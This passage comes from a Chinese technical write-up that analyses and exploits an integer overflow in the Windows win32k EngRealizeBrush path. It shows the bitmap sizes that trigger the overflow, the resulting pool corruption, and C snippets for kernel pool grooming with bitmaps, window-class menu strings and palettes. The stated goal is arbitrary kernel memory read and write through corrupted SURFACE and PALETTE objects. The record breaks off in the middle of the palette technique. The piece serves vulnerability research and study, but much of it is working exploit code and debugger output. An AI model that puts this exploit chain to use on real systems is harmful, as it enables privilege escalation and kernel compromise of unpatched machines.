在验证代码中我们使用的是当前桌面的设备上下文 DC 对象,该 DC 对象所关联的位图表面 SURFACE 对象的成员域 iBitmapFormat 与当前显示器设置的颜色配置有关,现代计算机默认设置都是 32 位真彩色,所以对应的 iBitmapFormat 成员域的值即为 32BPP 的枚举值。我们可以通过以下系统设置来改变该成员域的值:

设置显示器颜色的系统设置


psoPattern

与此同时,在函数 bGetRealizedBrush 执行期间,函数获取目标笔刷 BRUSH 对象的 +0x14 字节偏移的成员域的值,即在前期阶段分配并初始化笔刷 BRUSH 对象时创建的图案位图对象克隆的句柄,函数将该句柄值传入 SURFREF::vAltLock 函数调用以获取该位图 SURFACE 对象引用。

93650a5e 8b4714          mov     eax,dword ptr [edi+14h]
93650a61 8945e8          mov     dword ptr [ebp-18h],eax
93650a64 8b4330          mov     eax,dword ptr [ebx+30h]
93650a67 8975ec          mov     dword ptr [ebp-14h],esi
93650a6a a801            test    al,1
93650a6c 7439            je      win32k!bGetRealizedBrush+0x57f (93650aa7)
93650aa7 a806            test    al,6
93650aa9 7407            je      win32k!bGetRealizedBrush+0x58a (93650ab2)
93650ab2 ff75e8          push    dword ptr [ebp-18h]
93650ab5 8d4df0          lea     ecx,[ebp-10h]
93650ab8 e8c5caffff      call    win32k!SURFREF::vAltLock (9364d582)

函数 bGetRealizedBrush 获取图案位图对象克隆的 SURFACE 对象引用

接下来函数获取该 SURFACE 对象的成员对象 SURFOBJ so 的地址,并作为第 3 个参数 psoPattern 的值传入 EngRealizeBrush 函数调用。

93650abd 8b75f0          mov     esi,dword ptr [ebp-10h]
93650ac0 85f6            test    esi,esi
[...]
93650c06 8b4df0          mov     ecx,dword ptr [ebp-10h]
93650c09 83c110          add     ecx,10h
93650c0c eb0f            jmp     win32k!bGetRealizedBrush+0x6f5 (93650c1d)
93650c1d 8b4334          mov     eax,dword ptr [ebx+34h]
93650c20 85c0            test    eax,eax
93650c22 7403            je      win32k!bGetRealizedBrush+0x6ff (93650c27)
93650c24 83c010          add     eax,10h
93650c27 ff75dc          push    dword ptr [ebp-24h]
93650c2a 56              push    esi
93650c2b ff75e4          push    dword ptr [ebp-1Ch]
93650c2e 51              push    ecx
93650c2f 50              push    eax
93650c30 53              push    ebx
93650c31 ff5510          call    dword ptr [ebp+10h]

图案位图对象的 SURFOBJ 成员地址被作为 psoPattern 参数

这样一来,参数 psoPattern 指向的 SURFOBJ 对象成员域 sizlBitmap 存储的值就与在用户进程创建笔刷对象时传入参数的图案位图高度和宽度数值一致。


psoMask

函数 EngRealizeBrush 的参数 psoMask 指向的 SURFOBJ 对象表示笔刷的透明掩码。笔刷使用的透明掩码是每像素 1 位的位图,并与图案位图的像素点个数相同。掩码位为 0 表示像素是笔刷的背景像素。

在函数 bGetRealizedBrush 中,只有判断目标笔刷 BRUSH 对象 +0x10 字节偏移成员域的值小于 6 时,才会将传给 EngRealizeBrush 函数调用的参数 psoMask 指定为与 psoPattern 相同的 SURFOBJ 对象;否则,该参数将始终为空,即不使用笔刷透明掩码。

  v8 = *((_DWORD *)pBrush + 4);
if ( v8 >= 6 )
{
[...]
goto LABEL_95;
}
SURFREF::vLockAll((SURFREF *)&v75, *((struct HSURF__ **)a2 + v8 + 0xE9));
v9 = v75;
if ( v75 )
{
v72 = (struct _SURFOBJ *)(v75 + 0x10);
[...]
goto LABEL_124;
}

函数 bGetRealizedBrush 有条件地指定 psoMask 参数

前面的分析已经提到,当前的 BRUSH 对象在初始化时 0x10 字节偏移的成员域被赋值为 0xD 数值,表示这是一个图案笔刷;在 bGetRealizedBrush 函数调用时,观测到该成员域的值未曾被修改:

win32k!bGetRealizedBrush+0x6c:
93650594 83f806          cmp     eax,6
kd> r eax
eax=0000000d

BRUSH+0x10 字节偏移的成员域仍为 0xD 数值

这样一来,笔刷透明掩码参数 psoMask 将始终指向空值,那么在函数 EngRealizeBrush 中其将不会影响变量 ulSizeTotal 的值。


触发漏洞

根据以上分析得出的结论,参数 psoTarget 指向的 SURFOBJ 对象的成员域 iBitmapFormat 值由当前系统显示器颜色设置决定,默认为 32BPP 格式枚举值;参数 psoPattern 指向的 SURFOBJ 对象的成员域 sizlBitmap 值由验证代码创建笔刷对象时传入参数的图案位图的高度宽度数值决定。因此,适当控制验证代码中传入参数的数值,将会满足漏洞关键变量发生整数向上溢出的条件。

根据结论获得以下公式:

BufferBytes = ((sizlPat_cx * 32) >> 3) * sizlPat_cy + 0x44 + 0x40;

如同初始验证代码传入的那样,当宽度值为 0x10 而高度值为 0x100 时,得到分配内存大小为 0x4084 字节,这与前面观测到的数据一致。

当前已知,变量 ulSizeTotal 是 32 位的无符号整数。当对无符号整数运用加法、乘法等可以增大数值的运算时,如果运算的结果超出 32 位整数的 0xFFFFFFFF 边界值,那么高位将会丢失,仅留下运算结果的最低 32 位数值存储在目标寄存器中。则根据以上运算公式,要满足 BufferBytes 数值溢出的条件,另外由于分配的内存大小需要大于 0 字节,则需满足以下不等式:

sizlPat_cx * sizlPat_cy > 0x3FFFFFE0;

不等式满足时,BufferBytes 数值将恰好发生整数溢出,满足 BufferBytes > 0x(1)0000 0000 条件。修改验证代码中创建位图传入参数的高度和宽度数值以满足前述不等式:

hbmp = CreateBitmap(0x36D, 0x12AE8F, 1, 1, NULL);

修改创建位图传入参数的高度和宽度数值

验证代码适当增大位图的宽度和高度,将传入参数的宽度和高度值指定为 0x36D0x12AE8F 数值,使溢出后的缓冲区分配大小成为 0x10 字节。缓冲区分配成功后,函数 EngRealizeBrush 对位于缓冲区头部的 ENGBRUSH 对象的成员域进行初始化赋值。可以观测到赋值前后内存块数据的区别:

kd> dc fe7c87e0
fe7c87e0  46030001 72626547 00000000 00000000  ...FGebr........
fe7c87f0  00000000 00000000 46050003 6b687355  ...........FUshk
fe7c8800  fd6f6298 00000000 fe803b08 40000008  .bo......;.....@
fe7c8810  00000039 0000020a 00000000 00000000  9...............
fe7c8820  46140005 38616c47 010804e1 00000001  ...FGla8........
fe7c8830  80000000 00000000 00000202 00000000  ................
fe7c8840  0000053e 00000000 00000000 00000000  >...............
fe7c8850  00000000 00000000 00000000 00000000  ................
[...]
kd> dc fe7c87e0
fe7c87e0  46030001 72626547 00000000 00000010  ...FGebr........
fe7c87f0  00000000 00000000 0000036d 0000036d  ........m...m...
fe7c8800  0012ae8f 00000db4 fe7c8828 40000008  ........(.|....@
fe7c8810  00000039 0000020a 00000000 00000000  9...............
fe7c8820  46140005 00000006 010804e1 00000001  ...F............
fe7c8830  80000000 00000000 00000202 00000000  ................
fe7c8840  0000053e 00000000 00000000 00000000  >...............
fe7c8850  00000000 00000000 00000000 00000000  ................

下一内存块被覆盖前后数据对比

初始化赋值操作将当前 ENGBRUSH 所在内存块的下一内存块 POOL_HEADER 头部结构破坏。接下来函数调用 SURFMEMOBJ::bCreateDIB 并传入前面分配的缓冲区 +0x40 字节偏移地址作为独立的位图像素数据区域参数 pvBitsIn 来创建新的设备无关位图对象。新创建的设备无关位图对象的像素位数格式与参数 psoTarget 指向的目标位图表面 SURFOBJ 对象的成员域 iBitmapFormat 一致。

  *(_DWORD *)(pengbrush + 4) = ulSizeSet;
*(_DWORD *)(pengbrush + 0x1C) = cjScanPat;
*(_DWORD *)(pengbrush + 0x10) = cxPatRealized;
cxPat = cxPatRealized;
if ( bsoMaskNull )
cxPat = sizlPat_cx;
cyPat = sizlPat_cy;
*(_DWORD *)(pengbrush + 0x14) = cxPat;
*(_DWORD *)(pengbrush + 0x18) = cyPat;
*(_DWORD *)(pengbrush + 0x20) = pengbrush + 0x40;
iFormat = (int)psoPattern;
*(_DWORD *)(pengbrush + 0x3C) = psoPattern;
dbmi_cy = cyPat;
dbmi_iFormat = iFormat;
v47 = 0;
v48 = 1;
v63 = 0;
v64 = 0;
dbmi_cx = cxPatRealized;
SURFMEM::bCreateDIB( (SURFMEM *)&v63, (struct _DEVBITMAPINFO *)&dbmi_iFormat, *(PVOID *)(pengbrush + 0x20), 0, 0, 0, 0, 0, 1);
if ( !v63 )
goto LABEL_47;

函数 EngRealizeBrush 调用 SURFMEM::bCreateDIB 创建位图

函数 SURFMEMOBJ::bCreateDIB 在根据参数计算位图像素数据区域大小时,由于没有增加 0x440x40 两个 ENGBRUSH 对象的大小,所以并未发生溢出而得到 0xFFFFFF8C 数值,超过函数限制的 0x7FFFFFFF 数据区域最大范围,致使函数调用失败。

  if ( BaseAddress )
{
if ( a9 )
{
eq = bUnk ? (LONGLONG)*((_DWORD *)pdbmi + 3) : cjScanTemp * (LONGLONG)*((_DWORD *)pdbmi + 2);
if ( eq > 0x7FFFFFFF )
return 0;
}
[...]
}

函数 SURFMEMOBJ::bCreateDIB 判断位图像素数据区域大小的有效性

返回到函数 EngRealizeBrush 时,由于位图对象创建失败,因此函数继续向上级返回。前面的章节已经提到,在函数 pvGetEngRbrush 中判断 bGetRealizedBrush 函数调用返回失败时,将释放刚才分配的缓冲区内存。

编译后在测试环境执行,可以观测到由于整数向上溢出造成分配缓冲区过小、使后续代码逻辑触发缓冲区溢出漏洞导致系统 BSOD 的发生:

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************
BAD_POOL_HEADER (19)
[...]
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: fd6c4250, The pool entry we were looking for within the page.
Arg3: fd6c4268, The next pool entry.
Arg4: 4a030018, (reserved)
[...]
STACK_TEXT:
96f1b53c 83f35083 00000003 e2878267 00000065 nt!RtlpBreakWithStatusInstruction
96f1b58c 83f35b81 00000003 fd6c4250 000001ff nt!KiBugCheckDebugBreak+0x1c
96f1b950 83f77c6b 00000019 00000020 fd6c4250 nt!KeBugCheck2+0x68b
96f1b9cc 936534c3 fd6c4258 00000000 ffa07648 nt!ExFreePoolWithTag+0x1b1
96f1b9e0 936c9ae6 ffa07648 ffa07648 ffb6e008 win32k!pvGetEngRbrush+0x33
96f1ba44 936ee723 ffb6e018 00000000 00000000 win32k!EngBitBlt+0x2bf
96f1baa8 936ee8ab ffa07648 96f1bb10 96f1bb00 win32k!GrePatBltLockedDC+0x22b
96f1bb54 936eed96 96f1bbe8 0000f0f0 002cf9e8 win32k!GrePolyPatBltInternal+0x176
96f1bc18 83e941ea 1a0101f5 00f00021 002cf9e8 win32k!NtGdiPolyPatBlt+0x1bc
96f1bc18 774670b4 1a0101f5 00f00021 002cf9e8 nt!KiFastCallEntry+0x12a
002cf950 77056217 770561f9 1a0101f5 00f00021 ntdll!KiFastSystemCallRet
002cf954 770561f9 1a0101f5 00f00021 002cf9e8 GDI32!NtGdiPolyPatBlt+0xc
002cf980 0088b0c5 1a0101f5 00f00021 002cf9e8 GDI32!PolyPatBlt+0x1e7

漏洞验证代码触发异常

根据 WinDBG 捕获的 BSOD 信息显示,发生的异常编码是 BAD_POOL_HEADER 错误的内存池头部,异常发生在函数 pvGetEngRbrush 调用 ExFreePoolWithTag 释放前面分配的 ENGBRUSH 缓冲区期间。由于整数溢出导致后续代码逻辑触发缓冲区溢出漏洞,覆盖了下一个内存块的 POOL_HEADER 内存块头部结构,在函数 ExFreePoolWithTag 中释放当前内存块时,校验同一内存页中的下一个内存块的有效性;没有校验通过则抛出异常码为 BAD_POOL_HEADER 的异常。

0x3 利用

前面验证了漏洞的触发机理,接下来将通过该漏洞实现任意地址读写的利用目的。前面的章节已经指出,整数溢出漏洞发生后,在函数后续的代码逻辑中,初始化 ENGBRUSH 对象的成员域时,覆盖了下一内存块的头部结构和内存数据。


内存布局

利用的第一步是内存布局。在以前的分析文章中提到,内核在释放内存块时,如果内存块位于所在内存页的末尾,则不会进行相邻内存块头部结构的有效性验证。根据 Windows 内核池内存分配的逻辑,分配的内存块小于 0x1000 字节时,内存块大小越大,其被分配在内存页首地址的概率就越大。而分配较小内存缓冲区时,内核将首先搜索符合当前请求内存块大小的空间,将内存块优先安置在这些空间中。利用内核池风水技术,首先在内核中通过相关 API 分配大量特定大小的内存块以占用对应内存页的起始位置,为漏洞函数分配内存缓冲区时预留内存页末尾的空间,以防止在释放内存时由于 POOL_HEADER 内存块头部校验导致的 BSOD 发生。

根据以上的分析,我们当前实现的漏洞验证代码导致函数 EngRealizeBrush 分配缓冲区大小为 0x10 字节,加上 POOL_HEADER 结构的 8 字节,总计占用 0x18 字节的内存块空间。那就需要在进行内存布局时,提前分配 0xFE8 字节的内存块缓冲区。

分配用来占用空间和利用的内存块缓冲区通过熟悉的 CreateBitmap 函数实现。函数 CreateBitmap 用于根据指定的宽度、高度和颜色格式在内核中创建位图表面对象。调用该函数时,系统最终在内核函数 SURFMEM::bCreateDIB 中分配内存缓冲区并初始化位图表面 SURFACE 对象和位图像素数据区域,内存块类型为分页会话池(0x21)内存。当位图表面对象的总大小在 0x1000 字节之内的话,分配内存时,将分配对应位图像素数据大小加 SURFACE 管理对象大小的缓冲区,直接以对应的 SURFACE 管理对象作为缓冲区头部,位图像素数据紧随其后存储。在当前系统环境下,SURFACE 对象的大小为 0x154 字节。

这样一来,位图像素数据区域的占用大小就成为:

0xFE8 - 8 - 0x154 = 0xE8C

当分配位图的宽度为 4 的倍数且像素位数格式为 8 位时,位图像素数据的大小直接等于宽度和高度的乘积。根据以上,可以通过以下验证代码片段分配大量的 0xFE8 字节的内存缓冲区:

for (LONG i = 0; i < 2000; i++)
{
hbitmap[i] = CreateBitmap(0xE8C, 0x01, 1, 8, NULL);
}

分配位图占位对象的验证代码片段


填充空隙

在分配大量的位图对象缓冲区之后,如果我们立刻开始调用函数 PolyPatBlt 以求触发漏洞,那么很大可能分配的缓冲区不在我们预留的内存页末尾位置,这是因为系统环境的内存中之间就存在大量的合适大小的内存空隙,在漏洞所在函数中分配内存缓冲区时,内核不一定会将该缓冲区放置在我们期望的位置。这样一来,我们需要提前填充大量的已存在的 0x18 字节大小的内存空隙。

另一方面,在进行内核内存布局时,通常我们并不能保证用来占用空间的大量内核对象同时也能够作为可利用的目标对象来使用,这就需要在布局时释放掉前面分配的占位缓冲区,再分配合适大小的垫片及一个或多个可利用内核对象的组合。这样一来,同样需要在释放先前分配缓冲区时,首先用来占用内存页末尾间隙的较小的缓冲区。

除去 8 字节的 POOL_HEADER 头部结构大小,用于填充空隙的缓冲区所需分配大小为 0x10 字节。在内核中可控分配 0x10 字节缓冲区的方式非常少,在本分析中通过用户进程调用系统函数 RegisterClassEx 注册窗口类、并将参数 lpwcx 的成员域 lpszMenuName 指定为 25 个字符的字符串的方式来实现。

ATOM WINAPI RegisterClassEx(
_In_ const WNDCLASSEX *lpwcx
);

函数 RegisterClassEx 的定义

在内核函数 win32k!InternalRegisterClassEx 中会根据传入的参数分配并初始化窗口类 tagCLS 对象:

v3 = gptiCurrent;
[...]
v8 = (void *)(*((_BYTE *)v3 + 0xD8) & 4 ? 0 : *((_DWORD *)v3 + 0x32));
[...]
v9 = ClassAlloc((int)v8, Size, 1);

函数 InternalRegisterClassEx 分配窗口类对象

由于函数 ClassAlloc 的参数 a1 被指定为当前线程关联的桌面堆的句柄,因此窗口类 tagCLS 对象被分配在对应的桌面堆中,而不是分配在内核的分页会话池中。函数后续通过调用函数 AllocateUnicodeString 分配池标签为 Ustx 的分页会话池内存块,用来替换 tagCLS 对象中存储的 lpszMenuName 指针成为新分配的菜单名称字符串。

  qmemcpy((char *)v9 + 0x30, (const void *)(a1 + 4), 0x2Cu);
[...]
v18 = (const WCHAR *)*((_DWORD *)v9 + 0x14); // pcls->lpszMenuName
if ( v18 && (unsigned int)v18 & 0xFFFF0000 )
{
ms_exc.registration.TryLevel = 2;
RtlInitUnicodeString(&DestinationString, v18);
ms_exc.registration.TryLevel = -2;
[...]
if ( AllocateUnicodeString(&v27, &DestinationString.Length) )
{
*((_DWORD *)v9 + 20) = v27.Buffer;
goto LABEL_45;
}
[...]
}

函数 InternalRegisterClassEx 分配字符串缓冲区

在函数 AllocateUnicodeString 中调用函数 ExAllocatePoolWithQuotaTag 分配进程配额的内存块。由于分配的内存将作为 UNICODE 类型的以零结尾字符串的缓冲区,因此传入参数的分配缓冲区大小为 2lpszMenuName 字符串的字符个数倍的 WCHAR 字符大小。

  if ( UShortAdd(SourceString->Length, 2, &v6) >= 0 )
{
v3 = v6;
v4 = (WCHAR *)ExAllocatePoolWithQuotaTag((POOL_TYPE)0x29, v6, 'xtsU');
[...]
}

函数 AllocateUnicodeString 分配内存缓冲区

在函数 ExAllocatePoolWithQuotaTag 中最终分配的缓冲区大小再额外加上进程内存配额标记的 4 字节。

在调用函数 RegisterClassEx 时,如果参数 lpwcx 的成员域 lpszMenuName 指定为 25 个字符的字符串,传入函数 ExAllocatePoolWithQuotaTag 的第 2 个参数将被设为从 0x60xc2 递增的数值。由于进程配额的内存块需包含 4 字节的配额标记,并且内存缓冲区以 8 字节对齐,最终分配的内存块大小为 0x18 字节,内存块类型为 0x21 分页会话池。验证代码如下:

CHAR buf[0x10] = { 0 };
for (LONG i = 0; i < 3000; i++)
{
WNDCLASSEXA Class = { 0 };
sprintf(buf, "CLS_%d", i);
Class.lpfnWndProc = DefWindowProcA;
Class.lpszClassName = buf;
Class.lpszMenuName = "Test";
Class.cbSize = sizeof(WNDCLASSEXA);
RegisterClassExA(&Class);
}

通过注册窗口类填充内存间隙的验证代码片段


溢出覆盖

根据前面章节的分析和 IDA 反汇编代码计算得到 ENGBRUSH 结构的部分成员域定义:

typedef struct _ENGBRUSH
{
DWORD dwUnk00;       //<[00,04]
ULONG cjSize;        //<[04,04] length of the allocation
DWORD dwUnk08;       //<[08,04]
DWORD dwUnk0c;       //<[0C,04]
DWORD cxPatRealized; //<[10,04]
SIZEL sizlBitmap;    //<[14,08] cxPat & cyPat
DWORD cjScanPat;     //<[1C,04] scanline length
PBYTE pjBits;        //<[20,04] bitmap bits data pointer
DWORD dwUnk24;       //<[24,04]
DWORD dwUnk28;       //<[28,04]
DWORD dwUnk2c;       //<[2C,04]
DWORD dwUnk30;       //<[30,04]
DWORD dwUnk34;       //<[34,04]
DWORD dwUnk38;       //<[38,04]
DWORD iFormat;       //<[3C,04] bit format from target surfobj
BYTE aj[4];          //<[40,xx] bitmap bits data base
} ENGBRUSH, *PENGBRUSH;

结构体 ENGBRUSH 的部分定义

在以上结构体定义的成员域中,除最后一个成员域 aj 之外,函数只对未被标记为 dwUnkXX 变量名的成员域进行了赋值;通过成员域重合位置计算发现,如果当前 ENGBRUSH 对象所在内存块的下一内存块中存储的是位图表面 SURFACE 对象,将会导致位图表面 SURFACE 对象中的如下成员域被覆盖:

ENGBRUSH 溢出覆盖相邻的 SURFACE 对象

当前 ENGBRUSH 对象的成员域 iFormat 的位置对应的是位于下一内存页起始位置位图表面 SURFACE 对象的成员域 SURFACE->so.sizlBitmap.cy 的位置,也就是说函数在为 ENGBRUSH 对象的成员域 iFormat 赋值时,实际上覆盖了下一内存块中 SURFOBJ 对象的 sizlBitmap.cy 成员域。据前面的分析可知,成员域 iFormat 被赋值为 0x6 数值。

借用这一特性,我们既可以通过缓冲区溢出覆盖使位图表面对象的成员域 SURFACE->so.sizlBitmap.cy 较小的初值增大以利用更下一内存页中的位图表面对象,也可以通过在同一内存页中安排并利用两个内核对象的方式来实现利用目的。

如果选择在同一内存页中使用两个内核对象,则需在利用时将前面分配的位图占位对象先行释放,再分配合适大小和类型的内核对象填充区域以进行利用。释放原位图占位对象并分配新的位图利用对象的验证代码如下:

for (LONG i = 0; i < 2000; i++)
{
bReturn = DeleteObject(hbitmap[i]);
hbitmap[i] = NULL;
}
for (LONG i = 0; i < 2000; i++)
{
hbitmap[i] = CreateBitmap(0xC98, 0x01, 1, 8, NULL);
}

释放位图占用对象并分配新的位图对象的验证代码片段

分配新的位图对象时,需要注意将位图的高度参数指定为小于 0x6 的数值(如上面的代码中指定为 0x1),这样一来在漏洞触发导致缓冲区溢出时,函数将 sizlBitmap.cy 成员覆盖为 0x6 数值,才能使目标位图对象可控范围扩大,将紧随其后的其他内核对象的成员区域包含在内。


其一:两个位图

我们可以通过使被覆盖数据的位图表面 SURFACE 对象与其下一内存页相同位置的位图表面对象相配合、通过被覆盖数据的位图表面对象控制后一个位图表面对象的 pvScan0 成员域指针的值,来实现任意内存地址读写。

根据前面的分析已经知道,被覆盖数据的 SURFACE 对象的成员域 SURFACE->so.sizlBitmap.cy 被覆盖成原应写入 ENGBRUSH 对象的成员域 iFormat 的值。成员域 iFormat 存储用来指示目标实现笔刷的像素位格式的枚举值,在当前的系统设置中,数值 6 表示 32 位每像素点(32BPP)的枚举值。

依据这些条件,我们可以在创建前一个位图对象时,将位图的高度(sizlBitmap.cy)设置为小于 6 的数值,这样一来,在缓冲区溢出覆盖发生后,成员域 sizlBitmap.cy 将被覆盖为 6,当前位图将可以操作超出其像素数据区域范围的内存,即下一内存页中相同位置的位图表面对象的成员区域。

在扩大前一个位图的内存访问范围之后,使用系统 API SetBitmapBits 通过前一个位图对象将后一个位图 SURFACE 对象的成员域 SURFACE->so.pvScan0 篡改为任意地址,随后操作后一个位图对象时,函数访问的像素数据内存区域将是修改后的 pvScan0 指向的内存区域。

这种利用方式的方法与《从 CVE-2016-0165 说起:分析、利用和检测(中)》分析中使用到的技术类似,具体可参考这篇文章,在这里不再赘述。


其二:利用调色板对象

通过使用调色板 PALETTE 对象同样可以实现该漏洞的利用。在内核中 GDI 子系统通过调色板将 32 位颜色索引映射到 24 位 RGB 颜色值,这是 GDI 使用调色板的方法。调色板实体通过 PALETTE 类对象进行管理;相应地,对象 PALETTE 与对应的调色板列表数据区域相关联,列表中的每个表项定义对应 24 位 RGB 颜色值等信息。

与 GDI 对象类 SURFACE 类似地,调色板 PALETTE 类作为内核 GDI 对象类,它的基类同样是 BASEOBJECT 结构体。其定义如下:

class PALETTE : public OBJECT // : public BASEOBJECT
{
public:
FLONG        flPal;             //<[10,04]
ULONG        cEntries;          //<[14,04]
ULONG        ulTime;            //<[18,04]
HDC          hdcHead;           //<[1C,04]
HDEVPPAL     hSelected;         //<[20,04]
ULONG        cRefhpal;          //<[24,04]
ULONG        cRefRegular;       //<[28,04]
PTRANSLATE   ptransFore;        //<[2C,04]
PTRANSLATE   ptransCurrent;     //<[30,04]
PTRANSLATE   ptransOld;         //<[34,04]
ULONG        dwUnk38;           //<[38,04]
ULONG        dwUnk3c;           //<[3C,04]
ULONG        dwUnk40;           //<[40,04]
ULONG        dwUnk44;           //<[44,04]
ULONG        dwUnk48;           //<[48,04]
PALETTEENTRY *apalColor;        //<[4C,04]
PALETTE      *ppalThis;         //<[50,04]
PALETTEENTRY apalColorTable[1]; //<[54,xx]
};

类 PALETTE 的定义

在类 PALETTE 的定义中,我们需要关注 cEntriesapalColorapalColorTable 成员域。成员 cEntries 指定当前调色板列表的项数,成员 apalColor 指向调色板列表的起始表项的地址。成员 apalColorTable 定义成元素个数为 1PALETTEENTRY 结构体类型数组。在内核中创建调色板对象时,系统在分配内存时根据传入的颜色数目适当地扩大缓冲区大小,使该成员表示的数组元素个数增大到所需的数目,并使成员 apalColor 默认指向 apalColorTable 数组的起始元素的地址。

结构体 PALETTEENTRY 大小为 4 字节,其各个成员用于定义调色板表项对应的 24 位 RGB 颜色值等信息。在 MSDN 中存在定义如下:

typedef struct tagPALETTEENTRY {
BYTE peRed;
BYTE peGreen;
BYTE peBlue;
BYTE peFlags;
} PALETTEENTRY;

结构体 PALETTEENTRY 的定义

后续在操作或访问该调色板对象时,系统将通过成员域 apalColor 指向的地址访问调色板列表数据区域,区域的范围通过成员域 cEntries 指定。这样一来,紧随位于内存页起始位置的位图表面 SURFACE 对象其后分配适当大小的调色板 PALETTE 对象,在前面的位图表面对象被覆盖成员域 SURFACE->so.sizlBitmap.cy 的值以扩大访问范围之后,通过篡改当前 PALETTE 对象的成员域 cEntriesapalColor 的值,即可获得相对 / 任意内存地址读写的能力。

采用这种利用方式需要在漏洞触发之前进行一些预先的准备工作:将先前分配的位图占位对象释放,再在原来的起始位置分配较小的位图表面对象,并将适当大小的调色板 PALETTE 对象分配在较小位图表面对象的后面,恰好填充内存页中位图表面对象和窗口类菜单名称字符串缓冲区之间的空间。由于大部分目标内存页末尾的 0x18 字节内存块被窗口类菜单名称字符串占据,那么在漏洞触发之前需要对注册的窗口类解除注册,以释放这些占据空间的字符串缓冲区。然而一部分字符串缓冲区被用来填充无关的 0x18 字节空隙,以防在触发漏洞时目标 ENGBRUSH 对象被分配在这些无关空隙中导致利用失败,因此采取折中方案,在利用之前只释放中间一部分窗口类对象,为漏洞利用预留充足的内存空隙;剩余的窗口类对象在漏洞触发之后释放。

利用调色板对象的内存布局

分配调色板对象通过在用户进程中调用 gdi32.dll 模块的导出函数 CreatePalette 来实现。

HPALETTE CreatePalette(
_In_ const LOGPALETTE *lplgpl
);

函数 CreatePalette 的定义

函数 CreatePalette 的唯一参数 lplgpl 是指向 LOGPALETTE 类型结构体对象的指针。结构体定义如下:

typedef struct tagLOGPALETTE {
WORD         palVersion;
WORD         palNumEntries;
PALETTEENTRY palPalEntry[1];
} LOGPALETTE;

结构体 LOGPALETTE 的定义

结构体 LOGPALETTE 的成员域 palPalEntry 为可变长度的 PALETTEENTRY 结构体类型数组,数组元素个数由结构体成员域 palNumEntries 控制。通过对参数指向结构体对象的成员域设置特定的元素个数,可控制在内核中分配的调色板 PALETTE 对象的大小。

与其他类型的 GDI 内核对象的创建类似地,创建 PALETTE 对象具体地在对应的内存对象类成员函数 PALMEMOBJ::bCreatePalette 中实现。

  v9 = 0x58;
if ( a2 == 1 )
{
v9 = 4 * a3 + 0x58;
a8 &= 0x102F00u;
if ( !a3 )
return 0;
goto LABEL_18;
}
LABEL_18:
v11 = (unsigned __int32)AllocateObject(v9, 8, 0);
*(_DWORD *)this = v11;

函数 PALMEMOBJ::bCreatePalette 代码片段

函数 PALMEMOBJ::bCreatePalette 根据参数 a2 的数值设定对应的对象分配大小。由于在上级函数调用时为 a2 参数传值为 1,因此对象分配大小被设置为 4 * a3 + 0x58 字节。参数 a3 的值源于用户进程为参数 lplgpl 指向对象的成员域 palNumEntries 设置的值,而 0x58 字节是 PALETTE 类的大小。根据参数 a3 指定的数目,函数将目标调色板 PALETTE 对象的成员数组 apalColorTable 扩展为预期的元素个数并调用函数 AllocateObject 分配足够的缓冲区空间。

分配调色板对象的验证代码如下:

PLOGPALETTE pal = NULL;
pal = (PLOGPALETTE)malloc(sizeof(LOGPALETTE) + 0x64 * sizeof(PALETTEENTRY));
pal->palVersion = 0x300;
pal->palNumEntries = 0x64; // 0x64*4+0x58+8=0x1f0
for (LONG i = 0; i < 2000; i++)
{
hpalette[i] = CreatePalette(pal);
}
free(pal);

分配调色板对象的验证代码片段

编译代码在测试环境执行,可观测到调色板对象被分配到预留的内存空间中:

Breakpoint 3 hit
win32k!PALMEMOBJ::bCreatePalette+0xd9:
93af5038 e8ffcd0000      call    win32k!AllocateObject (93b01e3c)
kd> dc esp l4
94823b80  000001e8 00000008 00000000 07464b54  ............TKF.
kd> p
win32k!PALMEMOBJ::bCreatePalette+0xde:
93af503d 8bf0            mov     esi,eax
kd> !pool eax
Pool page fddd3e00 region is Paged session pool
fddd3000 size:  df8 previous size:    0  (Allocated)  Gh15
*fddd3df8 size:  1f0 previous size:  df8  (Allocated) *Gh18
Pooltag Gh18 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys
fddd3fe8 size:   18 previous size:  1f0  (Allocated)  Ustx Process: 87151620

调色板对象被分配到预留的内存空间

通过系统函数 UnregisterClass 对先前注册的窗口类对象取消注册。

BOOL WINAPI UnregisterClass(
_In_     LPCTSTR   lpClassName,
_In_opt_ HINSTANCE hInstance
);

函数 UnregisterClass 的定义

函数的第 1 个参数 lpClassName 指向窗口类名称字符串,与前面注册时传入的类名成字符串成员域对应。第 2 个参数 hInstance 是指向创建窗口类的模块的句柄。由于我们在创建时未指定模块句柄,因此该参数传 NULL 即可。在窗口类对象序列中挖出空洞的验证代码如下:

CHAR buf[0x10] = { 0 };
for (LONG i = 1000; i < 2000; i++)
{
sprintf(buf, "CLS_%d", i);
UnregisterClassA(buf, NULL);
}

在窗口类对象序列中挖出空洞的验证代码片段

漏洞触发时,目标调色板 ENGBRUSH 对象已命中在预留的 0x18 字节的内存空洞中:

kd> !pool eax
Pool page fccebff0 region is Paged session pool
fcceb000 size:  df8 previous size:    0  (Allocated)  Gh15
fccebdf8 size:  1f0 previous size:  df8  (Allocated)  Gh18
*fccebfe8 size:   18 previous size:  1f0  (Allocated) *Gebr
Pooltag Gebr : Gdi ENGBRUSH

目标 ENGBRUSH 对象已命中预留的内存空洞

漏洞触发后,由于溢出覆盖将位图表面对象的 SURFACE->so.sizlBitmap.cy 成员域覆盖成 0x6 数值,导致可控的位图像素数据范围扩大,因此可以通过系统函数 GetBitmapBits 请求获取超过其原有像素数据范围的数据。函数返回实际获取到的像素数据长度,如果传入参数的句柄指向的位图表面对象是正常的未被污染的位图对象,函数返回原本的位图数据范围;如果参数句柄指向被污染的目标位图对象,函数将返回根据参数的数值能够获取到的数据长度。根据该性质可获取紧随目标位图对象其后的调色板 PALETTE 对象的成员数据并定位目标位图对象的句柄。定位和获取的验证代码如下:

pBmpHunted = (PDWORD)malloc(0x1000);
ZeroMemory(pBmpHunted, 0x1000);
LONG index = -1;
for (LONG i = 0; i < 2000; i++)
{
if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) < 0xCA0)
{
continue;
}
index = i;
hBmpHunted = hbitmap[i];
break;
}
if (index == -1)
{
return FALSE;
}

定位目标位图对象并获取调色板成员数据的验证代码片段

获取到的像素数据被存储在 DWORD 类型的数组缓冲区中。编译后在测试环境执行,成功定位到目标位图对象的句柄,超额获取到的像素数据输出后发现包含调色板 PALETTE 对象的成员数据:

[0804]00000000 [0805]00000000 [0806]00000000 [0807]463E01BF
